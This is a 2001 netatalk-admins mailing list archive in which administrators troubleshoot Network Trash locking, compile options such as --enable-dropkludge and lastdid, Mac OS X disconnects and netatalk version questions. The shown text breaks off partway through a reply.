If you change the permissions on the Linux side to allow all users to =
write to the Network Trash folder and its subfolders, the problem will go =
away.

Bryn

>>> Thomas Schierle <ts@visual-s.de> 07/10/01 01:00AM >>>
On 01-07-10 02:38 +0200, Chris Herrmann wrote:

> On 01-07-09 15:10 +0200, Thomas Schierle wrote:
>
> Thanks Thomas, will try later today. The problems weren't solved by what =
I
> tried last night - they only appear when several people are using the
> server, however, over an hour or so. Some other strange behaviour - =
first
> person on can use network trash, but noone else can.

my guess: multi user network trash needs byte range locking -- a Macintosh
client who logs in looks for the first non-locked byte in the file =
"trashcan
usage map" and uses the trashcan associated with that byte

> Grr!
>=20
> Is anyone able to explain why I should/shouldn't use
>=20
> --enable-lastdid

perhaps you should use lastdid? It does provide true unique non-permanent
DIDs which are preferable over non-unique permanent DIDs

> and
>=20
> --with-flock-locks

I revisited my server (byte range locking) yesterday opening Quark files
from the server: "file in use" when I try to save an altered file; on =
"save
as" the file is written to the server but I get a "file in use" error =
after
the file is written. (QuarkXPress Passport 4.1)

With flock-locks Quark files don't get locked at all for me (Suse 7.0) -- =
I
was able to open a file that's open in Quark 4.1 a second time using a =
copy
of Quark 3.32 running at the same client

> The documentation didn't provide many clues as to why you would choose =
to
> use them. Also, as I'm running it on a Redhat System, should I use:
>=20
> --enable-redhat

the redhat option provides you with a startup script adjusted to Red Hats
startup machinery, I don't know why you shouldn't use it

>> Chris, try to compile with --enable-dropkludge, IMO that's
>> an essential if you want to work off your netatalk server with
>> QuarkXPress.

again, try: --enable-dropkludge

>> btw, I don't remember the details anymore -- but I have better luck
>> with byte range locking instead of flock-locks.

my testing as of yesterday did remind me to my problems with file locking:
because I don't work off of the server I simply preferred a (more or less)
working file locking system over saving Quark files ...

good luck,
-Thomas

ps, I'm on vacation from July 10, 2001 to July 19, 2001

--=20
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers

--=_E1BB9CED.A8C9A0F5
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1"=
>
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR></HEAD>
<BODY style=3D"MARGIN-TOP: 2px; FONT: 8pt MS Sans Serif; MARGIN-LEFT: =
2px">
<DIV><FONT size=3D1></FONT>Actually, this is because the client creates =
the=20
Network Trash folder if it doesn't exist.&nbsp; Since it's created by =
the=20
client, the first client to connect creates it and it is only writeable =
by=20
them.</DIV>
<DIV>&nbsp;</DIV>
<DIV>If you change the permissions on the Linux side to allow all users to =
write=20
to the Network Trash folder and its subfolders, the problem will go =
away.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Bryn</DIV>
<DIV><BR>&gt;&gt;&gt; Thomas Schierle &lt;ts@visual-s.de&gt; 07/10/01 =
01:00AM=20
&gt;&gt;&gt;<BR>On 01-07-10 02:38 +0200, Chris Herrmann wrote:<BR><BR>&gt; =
On=20
01-07-09 15:10 +0200, Thomas Schierle wrote:<BR>&gt;<BR>&gt; Thanks =
Thomas, will=20
try later today. The problems weren't solved by what I<BR>&gt; tried last =
night=20
- they only appear when several people are using the<BR>&gt; server, =
however,=20
over an hour or so. Some other strange behaviour - first<BR>&gt; person on =
can=20
use network trash, but noone else can.<BR><BR>my guess: multi user network =
trash=20
needs byte range locking -- a Macintosh<BR>client who logs in looks for =
the=20
first non-locked byte in the file "trashcan<BR>usage map" and uses the =
trashcan=20
associated with that byte<BR><BR>&gt; Grr!<BR>&gt; <BR>&gt; Is anyone able =
to=20
explain why I should/shouldn't use<BR>&gt; <BR>&gt;=20
--enable-lastdid<BR><BR>perhaps you should use lastdid? It does provide =
true=20
unique non-permanent<BR>DIDs which are preferable over non-unique =
permanent=20
DIDs<BR><BR>&gt; and<BR>&gt; <BR>&gt; --with-flock-locks<BR><BR>I =
revisited my=20
server (byte range locking) yesterday opening Quark files<BR>from the =
server:=20
"file in use" when I try to save an altered file; on "save<BR>as" the file =
is=20
written to the server but I get a "file in use" error after<BR>the file =
is=20
written. (QuarkXPress Passport 4.1)<BR><BR>With flock-locks Quark files =
don't=20
get locked at all for me (Suse 7.0) -- I<BR>was able to open a file that's =
open=20
in Quark 4.1 a second time using a copy<BR>of Quark 3.32 running at the =
same=20
client<BR><BR>&gt; The documentation didn't provide many clues as to why =
you=20
would choose to<BR>&gt; use them. Also, as I'm running it on a Redhat =
System,=20
should I use:<BR>&gt; <BR>&gt; --enable-redhat<BR><BR>the redhat option =
provides=20
you with a startup script adjusted to Red Hats<BR>startup machinery, I =
don't=20
know why you shouldn't use it<BR><BR>&gt;&gt; Chris, try to compile =
with=20
--enable-dropkludge, IMO that's<BR>&gt;&gt; an essential if you want to =
work off=20
your netatalk server with<BR>&gt;&gt; QuarkXPress.<BR><BR>again, try:=20
--enable-dropkludge<BR><BR>&gt;&gt; btw, I don't remember the details =
anymore --=20
but I have better luck<BR>&gt;&gt; with byte range locking instead of=20
flock-locks.<BR><BR>my testing as of yesterday did remind me to my =
problems with=20
file locking:<BR>because I don't work off of the server I simply preferred =
a=20
(more or less)<BR>working file locking system over saving Quark files=20
...<BR><BR>good luck,<BR>-Thomas<BR><BR>ps, I'm on vacation from July 10, =
2001=20
to July 19, 2001<BR><BR>-- <BR>Thomas Schierle, Munich, Germany<BR><BR>PGP =
key=20
[DSS/DH] 0xA23CDA1D available at various public key=20
servers<BR><BR></DIV></BODY></HTML>

--=_E1BB9CED.A8C9A0F5--

From netatalk.administrators-errors@umich.edu  Tue Jul 10 12:14:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06078
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Jul 2001 12:14:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA07934
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Jul 2001 12:14:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07903
	for netatalk.administrators-members@umich.edu; Tue, 10 Jul 2001 12:14:57 -0400 (EDT)
Received: from mail.iu13.k12.pa.us (mail.iu13.k12.pa.us [206.82.16.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA07869
	for <netatalk-admins@umich.edu>; Tue, 10 Jul 2001 12:14:56 -0400 (EDT)
From: ed_schwartz@iu13.k12.pa.us
Received: from localhost (n19-246-238.iu13.k12.pa.us [172.19.246.238])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id MAA16194
	for <netatalk-admins@umich.edu>; Tue, 10 Jul 2001 12:14:55 -0400
Message-Id: <200107101614.MAA16194@mail.iu13.k12.pa.us>
Date: Tue, 10 Jul 2001 12:11:27 -0400
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v388)
To: netatalk-admins@umich.edu
X-Mailer: Apple Mail (2.388)
Content-Transfer-Encoding: 7bit
Subject: Mac OS X

Are there any patches that allow netatalk to work with Mac OS X?  I am 
currently getting disconnected after selecting the volume I want to 
mount.  Thanks.

From netatalk.administrators-errors@umich.edu  Tue Jul 10 12:59:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA07558
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Jul 2001 12:59:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA01225
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Jul 2001 12:59:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA01213
	for netatalk.administrators-members@umich.edu; Tue, 10 Jul 2001 12:59:30 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA01165
	for <netatalk-admins@umich.edu>; Tue, 10 Jul 2001 12:59:28 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f6AGxRP00797;
	Tue, 10 Jul 2001 12:59:27 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B4B3483.6BAC90AB@univrel.pr.uconn.edu>
Date: Tue, 10 Jul 2001 12:59:47 -0400
From: Jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-20mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: ed_schwartz@iu13.k12.pa.us
CC: netatalk-admins@umich.edu
Subject: Re: Mac OS X
References: <200107101614.MAA16194@mail.iu13.k12.pa.us>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

ed_schwartz@iu13.k12.pa.us wrote:
> Are there any patches that allow netatalk to work with Mac OS X?  I am
> currently getting disconnected after selecting the volume I want to
> mount.  Thanks.

You have to specify -loginmesg, I believe.

Thanks,
Jeff

From netatalk.administrators-errors@umich.edu  Tue Jul 10 18:56:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA19818
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Jul 2001 18:56:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA09538
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Jul 2001 18:56:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA09524
	for netatalk.administrators-members@umich.edu; Tue, 10 Jul 2001 18:56:19 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA09447
	for <netatalk-admins@umich.edu>; Tue, 10 Jul 2001 18:56:16 -0400 (EDT)
Received: (qmail 25612 invoked from network); 11 Jul 2001 18:57:19 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 11 Jul 2001 18:57:19 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: and yet muddier
Date: Wed, 11 Jul 2001 08:55:33 +1000
Message-ID: <000c01c10993$6dd124b0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <sb4ab28d.051@keam1>
Importance: Normal

No, it's not related to Linux permissions on the Network Trash folder -
first thing I checked. They're all logging in as guest users atm, which
would obviate any user/group permission issues - it behave exactly the same
way as when it was running with user perms.

The way to get around user/group problems for folders is to setgid the
directory (g+s <directory>).

It's definitely related to locking, because if a user doesn't use the
network trash for a long time (where a long time is an unspecified number of
minutes/hours/???) then another user can automagically start using it (found
this out last night by accident).

Recompiled with --enable-dropkludge last night - am already
trying --with-lastdid. Using --with-lastdid has meant that I don't see
millions of messages about conflicting DIDs, so it must be doing something
right!

Will let you know how it goes today... fingers crossed.

-----Original Message-----
From: Bryn Hughes [mailto:bhughes@vcc.bc.ca]
Sent: Wednesday, 11 July 2001 00:45
To: netatalk-admins@umich.edu
Subject: Re: and yet muddier


Actually, this is because the client creates the Network Trash folder if it
doesn't exist.  Since it's created by the client, the first client to
connect creates it and it is only writeable by them.

If you change the permissions on the Linux side to allow all users to write
to the Network Trash folder and its subfolders, the problem will go away.

Bryn


From netatalk.administrators-errors@umich.edu  Wed Jul 11 10:51:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12327
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 10:51:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA20745
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 10:51:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20728
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 10:51:12 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA20687
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 10:51:10 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 15011 invoked from network); 11 Jul 2001 14:46:53 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-31.tower-1.london-2.starlabs.net with SMTP; 11 Jul 2001 14:46:53 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id PAA20076 for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 15:51:22 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id PAA23155 for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 15:51:20 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256A86.0051982A ; Wed, 11 Jul 2001 15:51:13 +0100
X-Lotus-FromDomain: HARLEQUIN
To: netatalk-admins@umich.edu
Message-ID: <80256A86.005196E5.00@notescam.cam.harlequin.co.uk>
Date: Wed, 11 Jul 2001 15:51:10 +0100
Subject: Netatalk, Macos X and other issues
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I've looked in the database but I can't see this bug anywhere.

We have a MacOS X build server which, on completion, copies a lot of files in a
short period of time to a RedHat 7.1 linux box (128meg RAM, Pentium 2). After a
while, the build server dies with a kernel assertion. We were wondering if any
one had seen this before?

This is quite important to us as we're relying on this to try and get a product
out shortly.

We would also like to know -who- is supporting netatalk these days. I've heard a
rumour that Apple are looking for a netatalk developer.

BTW, the netatalk developers list seems to be dead. My request to join was
bounced.

Roger



From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:16:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13406
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:16:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA23573
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:16:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA23548
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:16:13 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA23398
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:16:06 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f6BFG4P15343;
	Wed, 11 Jul 2001 11:16:04 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B4C6DCD.9D93F610@univrel.pr.uconn.edu>
Date: Wed, 11 Jul 2001 11:16:29 -0400
From: Jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-20mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: roger.day@globalgraphics.com
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk, Macos X and other issues
References: <80256A86.005196E5.00@notescam.cam.harlequin.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

roger.day@globalgraphics.com wrote:
> I've looked in the database but I can't see this bug anywhere.
> 
> We have a MacOS X build server which, on completion, copies a lot of files in a
> short period of time to a RedHat 7.1 linux box (128meg RAM, Pentium 2). After a
> while, the build server dies with a kernel assertion. We were wondering if any
> one had seen this before?

Which version of netatalk are you using?
 
> This is quite important to us as we're relying on this to try and get a product
> out shortly.
> 
> We would also like to know -who- is supporting netatalk these days. I've heard a
> rumour that Apple are looking for a netatalk developer.

Interesting. Currently most support seems to be via the admin and
developer lists.
 
> BTW, the netatalk developers list seems to be dead. My request to join was
> bounced.

I'll try manually adding you. (netatalk-devel@lists.sourceforge.net)

Thanks,
Jeff

From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:25:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13607
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:25:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA05294
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:25:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05252
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:25:03 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA05161
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:25:01 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 9554 invoked from network); 11 Jul 2001 15:20:30 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-31.tower-1.london-2.starlabs.net with SMTP; 11 Jul 2001 15:20:30 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id QAA21039; Wed, 11 Jul 2001 16:24:58 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id QAA27600; Wed, 11 Jul 2001 16:24:57 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256A86.0054AC10 ; Wed, 11 Jul 2001 16:24:50 +0100
X-Lotus-FromDomain: HARLEQUIN
To: Jeff <jeff@univrel.pr.uconn.edu>
cc: netatalk-admins@umich.edu
Message-ID: <80256A86.0054AB5F.00@notescam.cam.harlequin.co.uk>
Date: Wed, 11 Jul 2001 16:24:47 +0100
Subject: Re: Netatalk, Macos X and other issues
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline


At 11/07/2001 16:16:29, Jeff <jeff@univrel.pr.uconn.edu> wrote:
#  roger.day@globalgraphics.com wrote:
#  > I've looked in the database but I can't see this bug anywhere.
#  >
#  > We have a MacOS X build server which, on completion, copies a lot of files
in a
#  > short period of time to a RedHat 7.1 linux box (128meg RAM, Pentium 2).
After a
#  > while, the build server dies with a kernel assertion. We were wondering if
any
#  > one had seen this before?
#
#  Which version of netatalk are you using?

The tar file is called pre-asun2.1.4-37b.tar

it decompresses into a directory called

netatalk-1.4b2+asun2.1.4

Is there a deterministic way of finding the version?

#  > This is quite important to us as we're relying on this to try and get a
product
#  > out shortly.
#  >
#  > We would also like to know -who- is supporting netatalk these days. I've
heard a
#  > rumour that Apple are looking for a netatalk developer.
#
#  Interesting. Currently most support seems to be via the admin and
#  developer lists.

This was from someone on the darwin-developers list.

Also the lack of archive here http://netatalk.sourceforge.net/mailing_lists.php
for 2000/2001 does give an appearance of cobwebness to the page.

#  > BTW, the netatalk developers list seems to be dead. My request to join was
#  > bounced.
#
#  I'll try manually adding you. (netatalk-devel@lists.sourceforge.net)

Cheers.

Roger



From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:29:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13719
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:29:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA14482
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:29:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14473
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:29:29 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA14447
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:29:27 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 3308 invoked from network); 11 Jul 2001 15:25:17 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-46.tower-1.london-2.starlabs.net with SMTP; 11 Jul 2001 15:25:17 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id QAA21125; Wed, 11 Jul 2001 16:29:26 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id QAA28362; Wed, 11 Jul 2001 16:29:24 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256A86.00551665 ; Wed, 11 Jul 2001 16:29:22 +0100
X-Lotus-FromDomain: HARLEQUIN
To: jeff@univrel.pr.uconn.edu
cc: netatalk-admins@umich.edu
Message-ID: <80256A86.005515CB.00@notescam.cam.harlequin.co.uk>
Date: Wed, 11 Jul 2001 16:29:20 +0100
Subject: Re: Netatalk, Macos X and other issues
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I found the -real- archive.

#  Also the lack of archive here
http://netatalk.sourceforge.net/mailing_lists.php
#  for 2000/2001 does give an appearance of cobwebness to the page.
#

Roger



From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:31:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13851
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:31:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA17719
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:31:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17708
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:31:28 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA17627
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:31:26 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f6BFVNP15452;
	Wed, 11 Jul 2001 11:31:23 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B4C7164.4E3DE29F@univrel.pr.uconn.edu>
Date: Wed, 11 Jul 2001 11:31:48 -0400
From: Jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-20mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: roger.day@globalgraphics.com
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk, Macos X and other issues
References: <80256A86.0054AB5F.00@notescam.cam.harlequin.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

roger.day@globalgraphics.com wrote:
> #  Which version of netatalk are you using?
> 
> The tar file is called pre-asun2.1.4-37b.tar
> 
> it decompresses into a directory called
> 
> netatalk-1.4b2+asun2.1.4
> 
> Is there a deterministic way of finding the version?

That's version 1.4b2+asun2.1.4. The series on sourceforge is currently
at 1.5pre6.
 
> #  > This is quite important to us as we're relying on this to try and get a
> product
> #  > out shortly.
> #  >
> #  > We would also like to know -who- is supporting netatalk these days. I've
> heard a
> #  > rumour that Apple are looking for a netatalk developer.
> #
> #  Interesting. Currently most support seems to be via the admin and
> #  developer lists.
> 
> This was from someone on the darwin-developers list.
> 
> Also the lack of archive here http://netatalk.sourceforge.net/mailing_lists.php
> for 2000/2001 does give an appearance of cobwebness to the page.

Sorry about that. The netatalk development is in full swing. Check out
http://sourceforge.net/projects/netatalk/ for a little more information
on that.

I'd suggest trying 1.5pre6 or the upcoming 1.5pre7, as it probably
resolves that issue.

Jeff

From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:36:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14000
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:36:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA26930
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:36:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA26909
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:36:51 -0400 (EDT)
Received: from mail.iu13.k12.pa.us ([206.82.16.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA26872
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:36:50 -0400 (EDT)
Received: from 172.19.246.238 (n19-246-238.iu13.k12.pa.us [172.19.246.238])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with SMTP id LAA23402
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:36:49 -0400
Message-Id: <200107111536.LAA23402@mail.iu13.k12.pa.us>
Date: 11 Jul 2001 11:33:20 -0400
From: Eddie Schwartz <ed_schwartz@iu13.k12.pa.us>
Subject: RE: Netatalk, Macos X and other issues
To: "netatalk-admins" <netatalk-admins@umich.edu>,
        "roger.day" <roger.day@globalgraphics.com>
X-Mailer: QuickMail Pro 1.5.4r2 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Eddie Schwartz <ed_schwartz@iu13.k12.pa.us>
Content-Type: multipart/alternative; boundary="====48514853515756525352===1"

--====48514853515756525352===1
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="US-Ascii"

         Reply to:   RE: Netatalk, Macos X and other issues
Hi Roger.  I am not sure how much I can help with your problem, but as for =
the developers, try looking at the sourceforge(.net) project page.  It =
lists the admins/developers of the project.  Out of curiosity, what =
version of netatalk are you running, and do you have a login message?  I =
havn't been able to get Mac OS X working correctly with netatalk yet, and =
someone suggested a login message might be the problem.  I told our =
sysadmin, but he has yet to answer me.  I was hoping to find out if anyone =
with a working config has a login message.  Thanks!


roger.day wrote:
